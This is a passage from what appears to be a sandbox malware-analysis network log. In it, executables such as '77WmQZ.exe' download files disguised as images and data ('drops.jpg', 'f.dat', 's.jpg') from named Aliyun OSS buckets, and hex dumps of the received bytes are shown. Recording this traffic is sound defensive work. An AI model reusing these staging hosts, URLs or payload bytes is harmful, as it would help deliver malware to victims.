0JY9sEAOyv1\|~}yAkige,Jt\T_^_+-N,iWWjkVXL**%%%Vg/#m!93qS3r+1u;9}iw4\|4%A}bkkkkEv\|sJ"KKKKD\@NKSA
2025-01-15 03:22:52 UTC	4096	IN	Data Raw: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 68 7b 60 ab 47 9b e3 20 f9 68 ad 35 1d 35 35 35 7d b8 79 11 31 ee 04 f4 3b 0b 0b bc 31 f0 98 9c 63 89 4e 53 ac ac 1b d8 93 d0 27 cd 15 02 32 32 7a b1 f6 02 59 c1 ce ce 92 ce 8a ce a1 ce bd ce 8a ce ab ce b8 ce a7 ce ad ce ab ce bd ce 92 ce 9a ce bc ce bb ce ab ce 9d ce a7 ce a9 ce a6 ce ba ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((h{`G h5555}y1;1cNS'22zY
2025-01-15 03:22:52 UTC	4096	IN	Data Raw: ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad fd ad ad e9 ad ad ad bd 0c b5 0c 2c ad 24 ad 9d 0c 95 0c 4c ad 44 ad fd 0c f5 0c 6c ad 64 ad dd 0c d5 0c 8c ad 84 ad 3d 0c 35 0c ac ad a4 ad 1d 0c 15 0c cc ad c4 ad 7d 0c 75 0c ec ad e4 ad 5d 0c 55 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c Data Ascii: ,$LDld=5}u]U
2025-01-15 03:22:52 UTC	4096	IN	Data Raw: 47 a9 09 fd fc 12 13 1d 3c 88 0c c6 10 da 45 42 60 a9 c1 bc 1a 11 a7 e0 2e 22 2b 0a 8c d8 4c df a8 56 70 b6 bc 66 f5 56 67 09 82 f2 d3 a3 55 15 ce e3 6f 81 d8 c2 03 30 7c 10 15 ac 5c 86 7e 88 07 1f ba 3a fb b8 4b 9a 62 ec 00 e7 8e 85 12 6b 82 15 59 35 78 08 43 90 93 b7 4d 24 38 15 5e 33 ae 0e 03 b1 b4 8a 81 33 30 10 93 30 32 31 32 32 38 53 12 7f cb 7f 7f 7f 7f 7f 58 4f 42 49 46 65 e3 2d e3 92 9f 93 93 97 92 97 a7 e8 d9 e3 d8 e1 e7 e2 b4 e5 e3 f6 e7 b0 e3 81 a3 80 91 86 83 d5 d1 dd c6 df 88 be ac b7 de d9 d0 c3 ac ad f2 d3 e3 dd d5 d0 85 d4 d7 c3 c4 91 a6 a7 ca c8 c9 c3 f2 dd f3 df d9 dc 8a db d1 c8 ce 96 ff f5 e4 f9 8a 96 9f 8d ad ce e2 ff 8f 90 8d 9e ea f7 f1 f0 c1 d9 c0 d7 d1 d4 82 d3 d0 c0 f3 9e f7 fd ec f1 82 9e 97 85 a5 c6 ea e1 84 c1 b7 84 f6 ed e2 Data Ascii: G<EB`."+LVpfVgUo0\|\~:KbkY5xCM$8^330021228SXOBIFe-
2025-01-15 03:22:52 UTC	160	IN	Data Raw: bc 56 8d a1 48 a7 d8 db 20 3c c6 64 eb a7 f5 dc 87 01 85 4d b3 73 df 7e 2f 72 c3 fe 90 7f 53 03 95 c3 69 b4 78 70 7f 47 cd 54 d7 16 ca e8 7a 26 d7 20 64 6e df e5 43 1a 7a 90 7c ad 5f 36 aa 81 b5 fe 6e b2 cd cf ba 1d 41 b4 54 53 e9 3f 79 f1 5e 23 29 65 39 09 a1 03 8d 0a fe 23 25 a7 5c cd 0e 5d 86 0a 45 0c 38 50 e4 30 db dd d2 af bb de fa 16 60 6f 98 ea 3b 50 91 e8 7f a4 41 45 cc 50 fe 5e b5 e2 5c 31 55 2a 67 69 1d 23 55 9c 19 fe aa 01 a8 35 68 df e2 53 d9 70 80 53 39 1d 7b 2a Data Ascii: VH <dMs~/rSixpGTz& dnCz\|_6nATS?y^#)e9#%\]E8P0`o;PAEP^\1Ugi#U5hSpS9{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	64326	39.103.20.17	443	5956	C:\Users\user\Desktop\2834573-3676874985.02.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:22:53 UTC	105	OUT	GET /s.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Do Host: vien3h.oss-cn-beijing.aliyuncs.com
2025-01-15 03:22:54 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:22:53 GMT Content-Type: image/jpeg Content-Length: 8299 Connection: close x-oss-request-id: 67872A0D35EB263930E56BC2 Accept-Ranges: bytes ETag: "9BDB6A4AF681470B85A3D46AF5A4F2A7" Last-Modified: Mon, 13 Jan 2025 12:21:18 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 692387538176721524 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: m9tqSvaBRwuFo9Rq9aTypw== x-oss-server-time: 12
2025-01-15 03:22:54 UTC	3552	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-15 03:22:54 UTC	4096	IN	Data Raw: 06 6a 97 a0 76 9f 8a 4c ce c2 04 d4 99 b6 a3 2e 14 ad df 13 51 65 93 89 43 91 9f a1 22 66 8b 67 93 6a a2 a8 41 af 7a 2c ae 4c aa 83 63 3f 31 b1 0c 38 b2 5a bc ee 9f ac 38 b8 3b d8 89 02 c6 e4 8d 4f 83 68 c8 cb e9 cd 46 82 eb f8 de 65 da d0 b3 5f 34 d9 d6 6d db 55 d9 bc fb a3 e2 61 23 e6 e4 e3 87 ec ad ee cf c4 48 ef c7 73 cd d6 f3 c4 81 f4 1c 39 58 f8 db f6 39 e6 54 8a 0c ef 0e 3c c4 02 47 ce 01 4a eb 07 3d 8b cf 64 01 b1 11 50 1f 56 fc 58 fd 52 90 48 39 56 7e 31 61 02 cb 69 da d9 d8 cc 26 ee 13 ab 4c 25 c9 2d d0 31 03 dc f8 c8 d7 3b 32 53 27 d0 3e e3 d2 43 01 15 0b c5 c7 aa 26 cf 01 8d 0f 68 05 6c 61 40 dc 57 84 5a 54 79 13 7c 39 5f 3b 5d be 3a 5e 38 29 ef 27 40 e5 0e 2f e3 91 59 ab d5 8c 1a 9b 83 db 73 71 24 d7 68 16 7f 18 08 bb 51 3d 32 5b d8 c4 b1 43 Data Ascii: jvL.QeC"fgjAz,Lc?18Z8;OhFe_4mUa#Hs9X9T<GJ=dPVXRH9V~1ai&L%-1;2S'>C&hla@WZTy\|9_;]:^8)'@/Ysq$hQ=2[C
2025-01-15 03:22:54 UTC	651	IN	Data Raw: d6 f2 f5 18 89 8e 8a db 3d b5 89 92 61 93 d9 95 d6 f9 fa e8 f6 8e e8 f9 2d 9f 8a 17 a0 e4 d1 c1 a0 b7 a6 2d 71 ae f8 c9 d9 ef da b0 c5 da fa da d3 d9 f2 c0 b8 ea 98 18 bd f0 db b2 82 ae c3 ad a0 a8 b3 8b a8 a6 a7 8d 1d d0 9d 80 92 80 87 97 c7 d6 97 a8 da 92 be bd ad bf db e0 e5 e2 8f 56 e5 a7 8b 84 86 89 eb ec 39 ec a8 95 85 a2 81 d4 9a 95 92 8b 8a ab fa fc fd fe b4 45 53 4c 46 48 36 34 f8 7b 0a 05 0b 03 0d 01 0f 1f 11 1d 13 1b 15 19 17 e7 16 1a 14 1c 12 1e 10 20 2e 22 2c 24 2a 26 28 28 d6 25 2b 23 2d 21 2f 3f 31 3d 33 3b 35 39 37 37 39 3a 3b 3c f6 8f 1f 40 51 42 43 63 45 76 3f 0a e1 4a 4b 7c 4d 3e 1b 54 09 32 53 6c 7f 97 57 40 d9 5a 77 8c 5d 42 42 71 c9 62 63 ec 65 4a 47 68 75 52 6b 60 38 6f e3 30 71 6e 2b 70 63 16 77 76 2e 4a 69 7c 7d ee 7e 96 81 8c 84 Data Ascii: =a--qV9ESLFH64{ .",$*&((%+#-!/?1=3;59779:;<@QBCcEv?JK\|M>T2SlW@Zw]BBqbceJGhuRk`8o0qn+pcwv.Ji\|}~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	64353	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:08 UTC	114	OUT	GET /drops.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:09 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:08 GMT Content-Type: image/jpeg Content-Length: 37274 Connection: close x-oss-request-id: 67872A1C1AFF653736F3FE13 Accept-Ranges: bytes ETag: "6D4DEB9526F3973DE0F9DCE9392F8EA7" Last-Modified: Wed, 23 Oct 2024 04:47:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9193697774326766004 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: bU3rlSbzlz3g+dzpOS+Opw== x-oss-server-time: 26
2025-01-15 03:23:09 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 20 00 49 44 41 54 78 9c ed 9d 0b f8 6e e5 94 c0 97 91 14 26 45 21 4a 7f 25 4d 17 94 22 b9 cc 39 85 12 8d 90 2e 22 a7 9b 88 48 11 a9 4c 87 92 90 a4 d1 4c 49 3a 88 29 a1 90 4b 37 c2 14 21 83 34 51 f8 1f f7 7b ee cc 64 cc cc fe b5 ff 5b df f9 e6 fb fe df 5a 7b bf b7 ef db eb f7 3c eb 79 3c 39 ff 6f af fd ee 77 af fd be eb 5d 17 11 c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 cc 1a 95 ac 33 25 b2 46 a4 31 70 9c de 72 44 25 ff 3b 25 72 44 a4 31 70 9c de e2 06 c0 71 7a 8c 1b 00 c7 e9 31 Data Ascii: PNGIHDR\rfpHYs IDATxn&E!J%M"9."HLLI:)K7!4Q{d[Z{<y<9ow]qqqqqqqqqqqqqqqqq3%F1prD%;%rD1pqz1
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: 83 b8 15 4d f0 da 0b 73 29 d8 06 f6 9f 9a 49 70 40 2e 05 0b 01 87 5f 9b 3d 3f fb 46 f6 f7 6d f6 f6 a1 c1 89 8a 9f a0 4d d0 15 3e 81 52 1c 83 39 a1 dc d8 a4 b1 fa 64 36 ed 8c e0 b1 d4 38 8c b0 7a eb 66 d2 b1 04 38 ea 6b e3 ed c7 43 bf 5d 06 7d 27 41 5d 01 4b 93 95 46 38 1d 28 e9 88 30 07 7c dd 35 db 80 d2 93 d3 6e 43 db 93 ed f2 5c 0a 16 82 a5 2d 59 23 ef 97 b2 7d 26 78 b5 3f 28 f6 fb 7a 57 0e 65 0b 82 17 5b 53 7b f0 79 b9 14 b4 a0 ad c2 72 68 2e 05 0b e0 b9 62 7f 49 e8 29 37 0d b5 09 f0 0d d0 e7 ce 7a 7f 7d df 0e 5e 2d 93 c7 e8 b2 6c da 29 21 c0 42 13 40 32 75 5e cd 80 10 db 6f e9 43 c0 76 ea a8 2c 9a 76 83 c0 2a 4b ec 00 01 61 a5 e5 0e a4 84 90 df 49 63 c4 b6 79 52 ad 81 ac 68 3b ec 7c 36 97 82 05 40 a5 18 cb 97 71 1a 5f fe 06 8c 80 e5 5e 2f cd a3 66 11 Data Ascii: Ms)Ip@._=?FmM>R9d68zf8kC]}'A]KF8(0\|5nC\-Y#}&x?(zWe[S{yrh.bI)7z}^-l)!B@2u^oCv,v*KaIcyRh;\|6@q_^/f
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: eb d0 62 92 23 02 8f d8 7f 4b bb b9 f3 33 e8 e8 18 58 21 b6 49 77 40 06 1d 49 05 fd 8a 51 4f 8d b0 a7 bd 48 ea b2 d6 31 a1 a4 5b a8 ba 8e 83 f2 1b b1 75 d9 0d 05 45 38 2d 4d 44 3c 3c bc 50 38 4a b3 4c b8 f7 e5 51 53 4e 37 e8 d8 46 62 27 2f 59 92 6b ac 92 2b 02 ef 30 83 8e 18 8b 99 af dc 3b 6d 6c 22 f5 17 44 fb 10 73 ed e7 ac f9 08 7d 33 00 48 ae 08 bc 8b 0c 3a d2 fd b7 34 1f 4c 6f a1 21 c4 e7 45 ff f0 08 f5 dd 21 83 9e d6 7c 84 be 1a 80 5c 11 78 d6 50 e1 7f ce a0 a3 33 82 53 c5 36 c1 5e 9e 41 47 1c 74 57 18 f5 ec ab 01 40 7e 5a c9 7d 22 df c7 28 1e 2b b6 c8 d1 7d 32 e8 e8 0c f0 64 b1 2d a9 2f 93 3c 51 5d c7 19 74 ec da 9c 72 16 0c 00 42 6f be 1c 11 91 96 f6 75 d4 1d dc 28 83 8e 8e d4 c7 50 3f 13 db a4 3a 53 d2 3b 99 c8 2c fc b3 41 c7 fd a5 3e 9a c4 68 7c Data Ascii: b#K3X!Iw@IQOH1[uE8-MD<<P8JLQSN7Fb'/Yk+0;ml"Ds}3H:4Lo!E!\|\xP3S6^AGtW@~Z}"(+}2d-/<Q]trBou(P?:S;,A>h\|
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: f9 72 b8 f8 65 fd f3 08 c8 16 67 54 0d cf 0b 6c 41 02 c8 a0 55 06 c4 14 75 72 5c ea 55 d3 97 57 dd f2 5b 5c 5d 16 d4 24 45 4a 6c da 65 e3 a7 67 ed f2 6b 6c 6d 26 e4 34 55 52 7c ca 75 f5 8f 39 05 67 33 f7 39 5a 5f 8f 3f 82 00 7c df f9 97 c0 02 ce af ac 82 30 8f 13 59 b2 1a 90 b1 7d 9c d0 12 de bf bc 92 20 9f 29 a5 86 eb 2f e1 82 8f a7 17 aa 28 54 ec d2 b1 f8 3a f6 97 9c ba 08 b7 3b 41 e0 c4 ad f5 35 fb e4 e9 cd 7d c4 46 0e e7 41 8d ee cf 27 c1 86 44 94 f5 fa dc 6a d5 5f 93 fc dd d5 6d d8 f9 d1 69 ac c5 e6 d8 25 90 f9 af 63 ad ce cb a4 12 2e a7 79 b5 d6 d3 bc 7e b2 d3 d0 b1 05 3b b4 74 ba db 28 e8 4a fc fb fa 4e 8c 4c 2d 2a 04 b2 0d 8d f7 51 6d 0c 5b 9f 51 32 37 17 a7 1a 98 e4 47 61 0e 68 aa 66 07 04 2a 98 27 ab e1 0a a2 68 09 26 c4 3c 79 b9 77 10 15 39 89 Data Ascii: regTlAUur\UW[\]$EJlegklm&4UR\|u9g39Z_?\|0Y} )/(T:;A5}FA'Dj_mi%c.y~;t(JNL-Qm[Q27Gahf'h&<yw9
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: 1d 8a 3b 3c 3d ae 77 c1 85 4a 42 44 45 85 8b 84 85 86 87 80 81 82 83 18 d0 be db 56 55 56 91 1c 7d 2a 68 9a 19 7a 2e 56 a7 26 47 16 55 a0 23 4c 1a 1e ad 28 49 1a 1d b6 35 56 06 15 b3 32 53 0e 00 bc 3f 58 0a 50 b9 c4 a5 fa e6 42 c1 a2 fe f0 4f ce af f6 e8 48 cb b4 ea 92 55 d0 b1 d6 a4 5e dd be da aa 5b da bb e2 91 64 e7 80 e6 d5 61 ec 8d ee cf 6a e9 8a ea 9e 77 f6 97 f2 d0 70 f3 9c fe c2 7d f8 99 f6 da 06 85 e6 8a c4 03 42 e3 48 c9 ca cb ff 0b 4a eb 51 d1 d2 d3 e2 13 52 f3 5a d9 da db ec 1b 5a fb 63 e1 e2 e3 97 23 62 c3 6c e9 ea eb 8d 2b 6a cb 75 f1 f2 f3 92 33 72 d3 7e f9 fa fb 99 3b 7a db 87 01 02 03 2a c3 82 23 80 09 0a 0b 69 cb 8a 2b 99 11 12 13 6c d3 92 33 92 19 1a 1b 79 db 9a 3b ab 21 22 23 24 e3 62 03 08 42 ec 6f 08 0c 4b e9 74 15 10 41 f2 71 12 14 Data Ascii: ;<=wJBDEVUV}hz.V&GU#L(I5V2S?XPBOHU^[dajwp}BHJQRZZc#bl+ju3r~;z#i+l3y;!"#$bBoKtAq
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: b2 3e 1f 74 b6 72 1b 60 09 41 8b 0c ce 87 0f c3 45 6e 03 c7 19 6a 67 18 52 83 1b df 9f 59 e1 51 d1 52 b0 f0 15 d5 5b 44 29 e9 2f 40 45 2e 64 a0 21 e1 aa aa 6d 6e 27 fb 35 56 53 3c f6 b2 6f bb b5 b6 b7 b0 b1 b2 b3 c8 08 d6 a7 94 cd 0f cb ac 81 c2 08 60 95 c6 04 d4 b5 b2 db 1d 91 b2 df 13 dd be b3 d4 14 da bb a8 e9 29 a7 80 aa 18 a7 2d 69 de a6 e4 26 aa 8b f8 4e 72 fb 3d b1 92 5c 50 f1 31 bf 98 f5 35 f3 e4 c9 cd 75 cd 4d ce 8f 43 cd ee 83 33 0d 86 46 d4 f5 9a 58 90 f1 de 9f 27 19 92 52 98 f9 d6 97 6b a5 c6 eb eb 5b e6 62 28 9c 24 a3 67 e9 ca 29 f0 f1 ba 78 b0 d1 d6 bf 7b 3d e2 38 30 31 32 33 44 88 46 27 1c 4d 8f 53 2c 19 42 82 40 29 06 47 93 fd 3a 5b 9f 51 32 2f 50 90 5e 3f 0c 55 95 5b 04 11 6a aa 60 01 2e ac 6c 0d 6a a2 28 09 a5 6b 14 71 cd fb bd 71 12 77 Data Ascii: >tr`AEnjgRYQR[D)/@E.d!mn'5VS<o`)-i&Nr=\P15uMC3FX'Rk[b($g)x{=80123DF'MS,B@)G:[Q2/P^?U[j`.lj(kqqw
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: 7d 1e 63 74 b0 aa 1b c8 41 42 43 0c c8 4b e2 8d b6 b5 a3 1c 82 b1 b0 18 d8 16 77 34 1d 91 13 7c 69 5a 5b 5c 5d 99 1b 44 49 e2 63 64 65 a1 23 4c 49 68 6b 6c 6d 2b 5c b9 34 41 b3 ce 75 76 77 38 31 f1 f7 58 cd 7e 7f 80 7e d6 a7 d4 cd 0f c3 ac c1 c2 08 f0 a9 c6 70 e4 a0 da 54 d0 b1 b6 97 98 99 9a d7 11 d1 ba df e4 2a 26 87 64 a5 a6 a7 e0 22 3e 8f 14 ad ae af f8 3a fe 97 fc 4a e2 93 e0 f1 31 f7 98 f5 41 eb e4 a1 52 8b 45 01 6e c7 c8 c9 09 07 00 01 02 03 98 58 9e f7 dc 9d 55 3b f0 91 51 9f f8 ed 96 56 a4 c5 f2 ab 23 e1 c2 18 17 16 15 a3 13 e9 ca a7 7b b5 d6 e3 bc 7e fa d3 78 c5 f2 fb 89 10 b6 74 04 25 4a 8a 40 21 0e 4f 8b 75 2e 03 0c 78 0c e4 3d 59 99 57 30 1d 5e 9c 54 3d 2a 53 1f d5 56 94 e1 2e 9c 63 db a6 de 7b 5d 3d 62 a0 68 09 26 67 bb 7d 16 03 7c 36 fe 7f Data Ascii: }ctABCKw4\|iZ[\]DIcde#LIhklm+\4Auvw81X~~pT&d">:J1AREnXU;QV#{~xt%J@!Ou.x=YW0^T=SV.c{]=bh&g}\|6
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: 7d 1e 03 74 be fe 27 01 f9 46 43 44 45 0e cc 98 01 c7 c7 68 a5 4e 4f 50 b9 f8 b3 ab aa 1e dc 1c 7d 62 13 df 9d 42 1e d8 69 62 63 64 2d ed b7 20 e2 e6 4f 7c 6c 6e 6f 98 fa 92 8c 8b 3d fd f3 5c 19 7b 7b 7c 35 f5 f3 a4 c9 83 83 84 cd 0f 8f c0 02 0e af ec 8c 8e 8f 1b 1d b6 77 94 95 96 1e d0 91 d2 10 18 b9 fe 9e a0 a1 ea 28 28 81 a6 a6 a8 a9 e2 22 e4 bd e6 24 34 95 d2 b2 b4 b5 3d 3b 9c 51 ba bb bc 34 f6 a7 88 4a 46 e7 a4 c4 c6 c7 80 42 46 ef dc cc ce cf 98 58 9a f3 9c 5e 52 f3 b8 d8 da db 94 5c 1a 87 e1 e1 e2 20 28 29 2a 2b 24 25 26 27 20 21 22 23 b8 78 be d7 fc bd 7d b3 dc f1 b2 70 fc b5 3f 1f 15 49 89 4f 20 0d 4e 8c 01 41 39 c3 44 86 cf 47 9b 5d 36 1b 5c 9c 17 5f 93 5d 3e 13 54 96 1e 57 e1 c9 01 6b af 69 02 2f 60 a2 23 63 1f e5 66 a4 f1 79 b9 7f 10 3d 7e be Data Ascii: }t'FCDEhNOP}bBibcd- O\|lno=\{{\|5w(("$4=;Q4JFBFX^R\ ()*+$%&' !"#x}p?IO NA9DG]6\_]>TWki/`#cfy=~
2025-01-15 03:23:09 UTC	4096	IN	Data Raw: 39 3a 5e fa b9 1a 89 40 41 42 20 82 c1 62 f0 48 49 4a 3f 8a c9 6a f7 50 51 52 3c 92 d1 72 ee 58 59 5a 29 9a d9 7a e5 60 61 62 1a a2 e1 42 dc 68 69 6a 2a aa e9 4a d3 70 71 72 73 3c f8 e2 53 d0 79 7a 7b 34 f0 73 12 25 7e 7d 6b 9c 2a 79 78 c0 00 0e af a4 8f 8e 8f d8 1c 1e b7 c4 a7 96 97 67 0d be b3 9e 9d 9e d7 2d 2d 86 ff 91 a5 a6 4f 1c a4 aa ab e4 20 22 8b d0 87 b2 b3 5c 12 bb b7 b8 f1 37 37 98 d9 89 bf c0 29 58 ce c4 c5 8e 4a 44 ed a2 f3 cc cd 26 42 dd d1 d2 9b 59 59 f2 8b ed d9 da 33 2c d4 de df 26 65 c6 63 e4 e5 e6 a0 2e 6d ce 6a ec ed ee 8a 36 75 d6 71 f4 f5 f6 83 3e 7d de 78 fc fd fe af c6 85 26 87 04 05 06 75 ce 8d 2e 8e 0c 0d 0e 60 d6 95 36 95 14 15 16 74 de 9d 3e 9c 1c 1d 1e 7a e6 a5 06 ab 24 25 26 54 ee ad 0e a2 2c 2d 2e 5c f6 b5 16 b9 34 35 36 7f Data Ascii: 9:^@AB bHIJ?jPQR<rXYZ)z`abBhijJpqrs<Syz{4s%~}kyxg--O "\77)XJD&BYY3,&ec.mj6uq>}x&u.`6t>z$%&T,-.\456
2025-01-15 03:23:09 UTC	956	IN	Data Raw: b0 66 1f 34 70 0d e4 0c cc 16 67 5c 09 6d 97 05 46 08 98 29 01 c5 53 75 41 52 53 54 18 6d 84 2b 4f 3c 1a dd bf 5e af 2d ec f9 63 94 9a 99 26 ae 6a 6a 26 57 be 1b 9f 3c fa 66 57 38 fe 2a 53 70 31 f9 bf 6c be b2 b3 81 86 80 83 83 84 af 87 89 80 8b 8b 85 af 8e 8f 91 9c 93 93 99 d7 96 97 99 94 9b 9b 91 5f 9e 9f a1 ab a1 a3 ae 67 a0 d7 ad c9 aa ab ad a3 af af be 13 b2 b3 b5 bb b7 b7 b6 9b ba bb bd b1 bc bf cc c0 ff c3 c5 c2 c4 c7 cf c8 dd cb cd c4 cf cf d9 13 d2 d3 d5 d1 d7 d7 dc 3b da db dd d9 df df e4 23 e2 e3 e5 ee e4 e7 e3 e8 cb eb ed ea ec ef f7 f0 a3 f3 f5 e4 f4 f7 e9 f8 df fb fd f0 ff ff 0d 63 02 03 05 02 04 07 0f 08 21 0b 0d 09 0f 0f 14 b3 12 13 15 06 17 17 0b 3b 1a 1b 1d 0e 1f 1f 33 63 22 23 25 2b 27 27 26 6b 2a 2b 2d 23 2f 2f 3e 53 32 33 35 2d 37 37 Data Ascii: f4pg\mF)SuARSTm+O<^-c&jj&W<fW8Sp1l_g;#c!;3c"#%+''&k+-#//>S235-77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	64378	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:11 UTC	110	OUT	GET /f.dat HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:12 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:12 GMT Content-Type: application/octet-stream Content-Length: 879 Connection: close x-oss-request-id: 67872A20FE87B73232D3F800 Accept-Ranges: bytes ETag: "E54C4296F011EC91D935AA353C936E34" Last-Modified: Tue, 22 Oct 2024 18:02:54 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11142793972884948456 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5UxClvAR7JHZNao1PJNuNA== x-oss-server-time: 9
2025-01-15 03:23:12 UTC	879	IN	Data Raw: 0f 56 0e 57 66 34 65 31 31 31 31 31 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 Data Ascii: VWf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW111

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	64390	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:13 UTC	115	OUT	GET /FOM-50.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
